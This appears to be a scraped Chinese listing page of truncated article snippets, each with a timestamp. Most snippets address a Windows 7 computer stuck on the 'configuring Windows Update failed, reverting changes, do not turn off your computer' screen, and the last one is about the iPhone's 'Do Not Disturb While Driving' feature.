前几天班里有位学生电脑(windows 7系统)出问题了,具体表现是开机时一直停留在“配置windows update失败 还原更改 请勿关闭计算机”这个界面,长时间没反应,无法进入系统。这个问题原来帮其他同学也解决过,网上搜了不少资料&#x…...
2022/11/19 21:17:04 - 一个电脑无法关闭计算机你应该怎么办,电脑显示“清理请勿关闭计算机”怎么办?...
本文为你提供了3个有效解决电脑显示“清理请勿关闭计算机”问题的方法,并在最后教给你1种保护系统安全的好方法,一起来看看!电脑出现“清理请勿关闭计算机”在Windows 7(SP1)和Windows Server 2008 R2 SP1中,添加了1个新功能在“磁…...
2022/11/19 21:17:03 - 请勿关闭计算机还原更改要多久,电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机怎么办...
许多用户在长期不使用电脑的时候,开启电脑发现电脑显示:配置windows更新失败,正在还原更改,请勿关闭计算机。。.这要怎么办呢?下面小编就带着大家一起看看吧!如果能够正常进入系统,建议您暂时移…...
2022/11/19 21:17:02 - 还原更改请勿关闭计算机 要多久,配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以...
配置windows update失败 还原更改 请勿关闭计算机,电脑开机后一直显示以以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!配置windows update失败 还原更改 请勿关闭计算机&#x…...
2022/11/19 21:17:01 - 电脑配置中请勿关闭计算机怎么办,准备配置windows请勿关闭计算机一直显示怎么办【图解】...
不知道大家有没有遇到过这样的一个问题,就是我们的win7系统在关机的时候,总是喜欢显示“准备配置windows,请勿关机”这样的一个页面,没有什么大碍,但是如果一直等着的话就要两个小时甚至更久都关不了机,非常…...
2022/11/19 21:17:00 - 正在准备配置请勿关闭计算机,正在准备配置windows请勿关闭计算机时间长了解决教程...
当电脑出现正在准备配置windows请勿关闭计算机时,一般是您正对windows进行升级,但是这个要是长时间没有反应,我们不能再傻等下去了。可能是电脑出了别的问题了,来看看教程的说法。正在准备配置windows请勿关闭计算机时间长了方法一…...
2022/11/19 21:16:59 - 配置失败还原请勿关闭计算机,配置Windows Update失败,还原更改请勿关闭计算机...
我们使用电脑的过程中有时会遇到这种情况,当我们打开电脑之后,发现一直停留在一个界面:“配置Windows Update失败,还原更改请勿关闭计算机”,等了许久还是无法进入系统。如果我们遇到此类问题应该如何解决呢࿰…...
2022/11/19 21:16:58 - 如何在iPhone上关闭“请勿打扰”
Apple’s “Do Not Disturb While Driving” is a potentially lifesaving iPhone feature, but it doesn’t always turn on automatically at the appropriate time. For example, you might be a passenger in a moving car, but your iPhone may think you’re the one dri…...
2022/11/19 21:16:57